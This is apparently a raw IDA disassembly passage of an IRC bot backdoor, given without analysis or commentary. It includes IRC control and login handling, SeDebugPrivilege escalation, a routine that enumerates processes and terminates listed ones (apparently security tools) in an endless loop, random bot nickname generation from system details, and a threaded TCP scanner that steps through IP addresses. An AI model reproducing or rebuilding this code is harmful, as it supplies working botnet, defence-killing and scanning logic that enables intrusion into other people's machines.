		push	dword ptr [eax]
		call	sub_413617
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412289
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_42A3F4
		jl	short loc_412232
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		push	edi
		push	esi
		push	offset a_e_1_0bEnz__40 ; ".e.(1.0b) ( enz.m.d.l	) .»».	*Failed	h"...
		jmp	short loc_412217
; ---------------------------------------------------------------------------


loc_412289:				; CODE XREF: sub_40CC09+5638j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_41228E:				; CODE XREF: sub_40CC09+56AFj
		cmp	[ebp+arg_0], ebx
		jz	loc_40CFCD
		cmp	[edi], bl
		jnz	short loc_4122AE
		push	[ebp+arg_0]
		push	offset aHi	; "hi"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4122BF


loc_4122AE:				; CODE XREF: sub_40CC09+5690j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_41228E
		jmp	loc_40CFCD
; ---------------------------------------------------------------------------


loc_4122BF:				; CODE XREF: sub_40CC09+56A3j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_994]
		push	7Fh
		push	eax
		push	esi
		call	sub_415140
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4122F6
		push	ebx
		push	[ebp+var_4]
		push	offset a_e_1_0bEnz__41 ; ".e.(1.0b) ( enz.m.d.l	) .»».	Password "...
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		add	esp, 14h


loc_4122F6:				; CODE XREF: sub_40CC09+56D1j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset a_e_1_0bEnz__42 ; ".e.(1.0b) ( enz.m.d.l	) .»».	User: %s "...
		jmp	loc_40D1B6
; ---------------------------------------------------------------------------


loc_412307:				; CODE XREF: sub_40CC09+20Ej
					; sub_40CC09+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		push	offset aXI	; "+x+i"
		push	[ebp+arg_10]
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		add	esp, 2Ch
		mov	dword_7420F0, edi
		jmp	loc_40CEA6
sub_40CC09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41234D	proc near		; CODE XREF: sub_4086DF+7p
					; sub_4123B8+5Fp ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	dword_41F0F0	; GetCurrentProcess
		push	eax
		call	dword_44CCC0	; OpenProcessToken
		test	eax, eax
		jnz	short loc_41236C
		leave
		retn
; ---------------------------------------------------------------------------


loc_41236C:				; CODE XREF: sub_41234D+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_44CC9C	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_4123AA
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_412393
		or	[ebp+var_8], 2
		jmp	short loc_412397
; ---------------------------------------------------------------------------


loc_412393:				; CODE XREF: sub_41234D+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_412397:				; CODE XREF: sub_41234D+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_44CD44	; AdjustTokenPrivileges
		mov	esi, eax


loc_4123AA:				; CODE XREF: sub_41234D+32j
		push	[ebp+var_4]
		call	dword_41F058	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41234D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4123B8	proc near		; CODE XREF: sub_40CC09+4321p
					; sub_4125E7+74p ...

var_454		= dword	ptr -454h
var_450		= byte ptr -450h
var_334		= byte ptr -334h
var_230		= byte ptr -230h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 454h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_44CCFC, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_450]
		mov	[ebp+var_454], ebx
		rep stosd
		jz	loc_4125B7
		cmp	dword_44CCE0, ebx
		jz	loc_4125B7
		cmp	dword_44CC0C, ebx
		jz	loc_4125B7
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41234D
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_44CCFC	; CreateToolhelp32Snapshot
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_4125AA
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_44CCE0	; Process32First
		mov	esi, dword_41F058
		test	eax, eax
		jz	loc_4125A5
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_44CC0C	; Process32Next
		test	eax, eax
		jz	loc_4125A5
		mov	edi, dword_41F11C
		mov	ebx, 1F0FFFh


loc_41247C:				; CODE XREF: sub_4123B8+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_4124E3
		mov	[ebp+var_4], offset off_434618


loc_41248A:				; CODE XREF: sub_4123B8+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		call	dword_41F13C	; lstrcmpiA
		test	eax, eax
		jz	short loc_4124B2
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_434FD8
		jl	short loc_41248A
		jmp	loc_41258B
; ---------------------------------------------------------------------------


loc_4124B2:				; CODE XREF: sub_4123B8+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi	; OpenProcess
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_41258B
		push	0
		push	eax
		call	dword_41F138	; TerminateProcess
		test	eax, eax
		jnz	loc_41258B


loc_4124D9:				; CODE XREF: sub_4123B8+1B9j
		push	[ebp+var_4]
		call	esi	; CloseHandle
		jmp	loc_41258B
; ---------------------------------------------------------------------------


loc_4124E3:				; CODE XREF: sub_4123B8+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_412576
		cmp	[ebp+arg_4], eax
		jz	loc_41258B
		push	[ebp+var_128]
		push	8
		call	dword_44CCFC	; CreateToolhelp32Snapshot
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_454], 224h
		jz	short loc_412536
		lea	ecx, [ebp+var_454]
		push	ecx
		push	eax
		call	dword_44CBBC	; Module32First
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_41253C
		lea	eax, [ebp+var_334]
		jmp	short loc_412542
; ---------------------------------------------------------------------------


loc_412536:				; CODE XREF: sub_4123B8+15Cj
		push	[ebp+var_128]


loc_41253C:				; CODE XREF: sub_4123B8+174j
		lea	eax, [ebp+var_10C]


loc_412542:				; CODE XREF: sub_4123B8+17Cj
		push	eax
		lea	eax, [ebp+var_230]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_413812
		add	esp, 10h
		lea	eax, [ebp+var_230]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 14h
		jmp	loc_4124D9
; ---------------------------------------------------------------------------


loc_412576:				; CODE XREF: sub_4123B8+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4125BE


loc_41258B:				; CODE XREF: sub_4123B8+F5j
					; sub_4123B8+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_44CC0C	; Process32Next
		test	eax, eax
		jnz	loc_41247C
		xor	ebx, ebx


loc_4125A5:				; CODE XREF: sub_4123B8+9Dj
					; sub_4123B8+B3j
		push	[ebp+var_8]
		call	esi	; CloseHandle


loc_4125AA:				; CODE XREF: sub_4123B8+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41234D
		pop	ecx
		pop	ecx


loc_4125B7:				; CODE XREF: sub_4123B8+3Aj
					; sub_4123B8+46j ...
		xor	eax, eax


loc_4125B9:				; CODE XREF: sub_4123B8+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4125BE:				; CODE XREF: sub_4123B8+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi	; OpenProcess
		push	[ebp+var_8]
		mov	edi, eax
		call	esi	; CloseHandle
		push	0
		push	edi
		call	dword_41F138	; TerminateProcess
		test	eax, eax
		jnz	short loc_4125E2
		push	edi
		call	esi	; CloseHandle
		jmp	short loc_4125B7
; ---------------------------------------------------------------------------


loc_4125E2:				; CODE XREF: sub_4123B8+223j
		push	1
		pop	eax
		jmp	short loc_4125B9
sub_4123B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4125E7	proc near		; DATA XREF: sub_40CC09+4EF1o

var_198		= byte ptr -198h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_437164
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_198]
		push	eax
		call	sub_413812
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_412646
		push	esi
		lea	eax, [ebp+var_198]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_40B2B5
		add	esp, 14h


loc_412646:				; CODE XREF: sub_4125E7+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_4123B8
		add	esp, 18h
		test	eax, eax
		jnz	short loc_41266E
		push	offset unk_437128
		jmp	short loc_412673
; ---------------------------------------------------------------------------


loc_41266E:				; CODE XREF: sub_4125E7+7Ej
		push	offset unk_4370F0


loc_412673:				; CODE XREF: sub_4125E7+85j
		lea	eax, [ebp+var_198]
		push	eax
		call	sub_413812
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4126A6
		push	esi
		lea	eax, [ebp+var_198]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_40B2B5
		add	esp, 14h


loc_4126A6:				; CODE XREF: sub_4125E7+9Dj
		lea	eax, [ebp+var_198]
		push	eax
		call	sub_409833
		push	[ebp+var_14]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	esi
		call	dword_41F040	; ExitThread
		pop	edi
		pop	esi
sub_4125E7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4126C5	proc near		; CODE XREF: sub_40CC09+42C3p
					; sub_4133F9+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	dword_41F11C	; OpenProcess
		mov	esi, eax
		test	esi, esi
		jz	short loc_4126F7
		push	0
		push	esi
		call	dword_41F138	; TerminateProcess
		test	eax, eax
		jnz	short loc_4126F7
		push	esi
		xor	edi, edi
		call	dword_41F058	; CloseHandle


loc_4126F7:				; CODE XREF: sub_4126C5+1Aj
					; sub_4126C5+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4126C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4126FC	proc near		; DATA XREF: sub_40C2D0+3D7o
		push	esi
		xor	esi, esi


loc_4126FF:				; CODE XREF: sub_4126FC+1Ej
		push	1
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_4123B8
		add	esp, 18h
		push	dword_434614
		call	dword_41F050	; Sleep
		jmp	short loc_4126FF
sub_4126FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41271C	proc near		; CODE XREF: sub_4041D7+63p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	sub_41386E
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_41F660
		call	sub_4140D0
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41271C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41274C	proc near		; CODE XREF: sub_412AB7+49p
					; DATA XREF: seg001:off_4371A8o

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	dword_41F044	; GetTickCount
		push	eax
		call	sub_413864
		mov	edi, [esp+0Ch+arg_0]
		mov	[esp+0Ch+var_C], offset	aCc ; "Cc-"
		push	offset aS_3	; "%s"
		push	1Ch
		push	edi
		call	sub_413D8A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42A338, esi
		jle	short loc_4127A5


loc_41277F:				; CODE XREF: sub_41274C+57j
		call	sub_41386E
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_4371FC
		push	1Ch
		push	edi
		call	sub_413D8A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42A338
		jl	short loc_41277F


loc_4127A5:				; CODE XREF: sub_41274C+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41274C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4127AA	proc near		; CODE XREF: sub_40CC09+393Ap

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	dword_41F044	; GetTickCount
		push	eax
		call	sub_413864
		pop	ecx
		call	sub_41386E
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_42A338
		test	esi, esi
		jle	short loc_4127ED


loc_4127D7:				; CODE XREF: sub_4127AA+41j
		call	sub_41386E
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_4127D7


loc_4127ED:				; CODE XREF: sub_4127AA+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_4127AA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	dword_41F044	; GetTickCount
		push	eax
		call	sub_413864
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_437204
		push	eax
		push	esi
		call	dword_41F114	; GetComputerNameA
		movsx	eax, byte_437204
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_412833:				; CODE XREF: seg001:0041283Ej
		cmp	eax, ecx
		jnz	short loc_41283A
		mov	[ebp-4], edx


loc_41283A:				; CODE XREF: seg001:00412835j
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_412833
		push	61h
		pop	ecx


loc_412843:				; CODE XREF: seg001:0041284Ej
		cmp	eax, ecx
		jnz	short loc_41284A
		mov	[ebp-4], edx


loc_41284A:				; CODE XREF: seg001:00412845j
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_412843
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_413D8A
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_42A338, esi
		jle	short loc_41288F


loc_412869:				; CODE XREF: seg001:0041288Dj
		call	sub_41386E
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_4371FC
		push	1Ch
		push	edi
		call	sub_413D8A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42A338
		jl	short loc_412869


loc_41288F:				; CODE XREF: seg001:00412867j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	dword_41F044	; GetTickCount
		push	eax
		call	sub_413864
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	dword_41F140	; GetLocaleInfoA
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_437208
		push	1Ch
		push	edi
		call	sub_413D8A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42A338, esi
		jle	short loc_412904


loc_4128DE:				; CODE XREF: seg001:00412902j
		call	sub_41386E
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_4371FC
		push	1Ch
		push	edi
		call	sub_413D8A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42A338
		jl	short loc_4128DE


loc_412904:				; CODE XREF: seg001:004128DCj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_438A10
		mov	dword ptr [ebp-94h], 94h
		call	dword_41F0F8	; GetVersionExA
		call	dword_41F044	; GetTickCount
		push	eax
		call	sub_413864
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_41298E
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_41296E
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_41295E
		mov	esi, offset a95	; "95"


loc_41295E:				; CODE XREF: seg001:00412957j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_4129CA
		mov	esi, offset aNt	; "NT"
		jmp	short loc_4129CA
; ---------------------------------------------------------------------------


loc_41296E:				; CODE XREF: seg001:0041294Ej
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_41297E
		mov	esi, offset a98	; "98"
		jmp	short loc_4129CA
; ---------------------------------------------------------------------------


loc_41297E:				; CODE XREF: seg001:00412975j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_4129C5
		mov	esi, offset aMe	; "ME"
		jmp	short loc_4129CA
; ---------------------------------------------------------------------------


loc_41298E:				; CODE XREF: seg001:00412945j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_4129C5
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_4129A7
		mov	esi, offset a2k	; "2K"
		jmp	short loc_4129CA
; ---------------------------------------------------------------------------


loc_4129A7:				; CODE XREF: seg001:0041299Ej
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_4129B7
		mov	esi, offset aXp	; "XP"
		jmp	short loc_4129CA
; ---------------------------------------------------------------------------


loc_4129B7:				; CODE XREF: seg001:004129AEj
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_437214
		jz	short loc_4129CA


loc_4129C5:				; CODE XREF: seg001:00412985j
					; seg001:00412995j
		mov	esi, offset dword_428AD0


loc_4129CA:				; CODE XREF: seg001:00412965j
					; seg001:0041296Cj ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_43720C
		push	1Ch
		push	edi
		call	sub_413D8A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42A338, esi
		jle	short loc_412A0E


loc_4129E8:				; CODE XREF: seg001:00412A0Cj
		call	sub_41386E
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_4371FC
		push	1Ch
		push	edi
		call	sub_413D8A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42A338
		jl	short loc_4129E8


loc_412A0E:				; CODE XREF: seg001:004129E6j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412A14	proc near		; CODE XREF: sub_412AB7+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	dword_41F044	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_412A63
		call	dword_44CCE8	; FindWindowA
		test	eax, eax
		mov	eax, offset off_437220
		jnz	short loc_412A4C
		mov	eax, offset byte_438A10


loc_412A4C:				; CODE XREF: sub_412A14+31j
		push	eax
		push	esi
		push	offset dword_437218
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_413D8A
		add	esp, 14h
		jmp	short loc_412A83
; ---------------------------------------------------------------------------


loc_412A63:				; CODE XREF: sub_412A14+22j
		call	dword_44CCE8	; FindWindowA
		test	eax, eax
		mov	eax, offset off_437220
		jnz	short loc_412A77
		mov	eax, offset byte_438A10


loc_412A77:				; CODE XREF: sub_412A14+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_413812
		pop	ecx
		pop	ecx


loc_412A83:				; CODE XREF: sub_412A14+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_413E90
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_412AB2
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_415310
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_415140
		add	esp, 18h


loc_412AB2:				; CODE XREF: sub_412A14+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_412A14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412AB7	proc near		; CODE XREF: sub_40C929+7Fp
					; sub_40CA91+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_4371A4


loc_412AC3:				; CODE XREF: sub_412AB7+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_412ADE
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_413C30
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_412AE8
; ---------------------------------------------------------------------------


loc_412ADE:				; CODE XREF: sub_412AB7+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_412AE8:				; CODE XREF: sub_412AB7+25j
		test	eax, eax
		jnz	short loc_412AFA
		add	esi, 14h
		inc	edi
		cmp	esi, offset dword_437208
		jl	short loc_412AC3
		jmp	short loc_412B08
; ---------------------------------------------------------------------------


loc_412AFA:				; CODE XREF: sub_412AB7+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_4371A8[eax*4]
		pop	ecx


loc_412B08:				; CODE XREF: sub_412AB7+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_412B1B
		push	[ebp+arg_0]
		call	sub_412A14
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_412B1B:				; CODE XREF: sub_412AB7+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_412AB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B20	proc near		; DATA XREF: sub_412BED+7Bo

var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_B8]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A4h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_413890
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_34]
		call	dword_44CCDC	; ntohs
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_44CD58	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_412BDE
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_44CC88	; connect
		mov	ecx, [ebp+var_2C]
		imul	ecx, 134h
		cmp	eax, 0FFFFFFFFh
		mov	dword_452134[ecx], esi
		jz	short loc_412BDE
		push	[ebp+var_34]
		push	[ebp+var_28]
		call	dword_44CD64	; inet_ntoa
		push	eax
		mov	edi, offset dword_7420F8
		push	offset unk_437224
		push	edi
		call	sub_413812
		push	0
		lea	eax, [ebp+var_B4]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_B8]
		call	sub_40B2B5
		push	edi
		call	sub_409833
		add	esp, 28h


loc_412BDE:				; CODE XREF: sub_412B20+5Dj
					; sub_412B20+7Ej
		push	esi
		call	dword_44CD70	; closesocket
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_412B20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_412BED	proc near		; DATA XREF: sub_40CC09+3176o

var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		mov	esi, dword_41F050
		mov	dword ptr [ebx+0A0h], 1
		xor	edi, edi


loc_412C1B:				; CODE XREF: sub_412BED+ECj
		push	[ebp+var_2C]
		push	[ebp+var_20]
		call	dword_44CD64	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_437260
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_130]
		push	0FEh
		push	eax
		mov	eax, [ebp+var_24]
		imul	eax, 134h
		add	eax, offset dword_452028
		push	eax
		call	sub_415140
		add	esp, 1Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		push	offset sub_412B20
		push	edi
		push	edi
		call	dword_41F070	; CreateThread
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_412C87


loc_412C7C:				; CODE XREF: sub_412BED+98j
		cmp	[ebp+var_C], edi
		jnz	short loc_412C87
		push	32h
		call	esi	; Sleep
		jmp	short loc_412C7C
; ---------------------------------------------------------------------------


loc_412C87:				; CODE XREF: sub_412BED+8Dj
					; sub_412BED+92j
		push	[ebp+var_4]
		call	dword_41F058	; CloseHandle
		push	dword ptr [ebx+88h]
		mov	[ebx+0A4h], edi
		call	esi	; Sleep
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_4138F0
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_44CC20	; ntohl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_44CCD8	; ntohl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4138F0
		add	esp, 0Ch
		jmp	loc_412C1B
sub_412BED	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
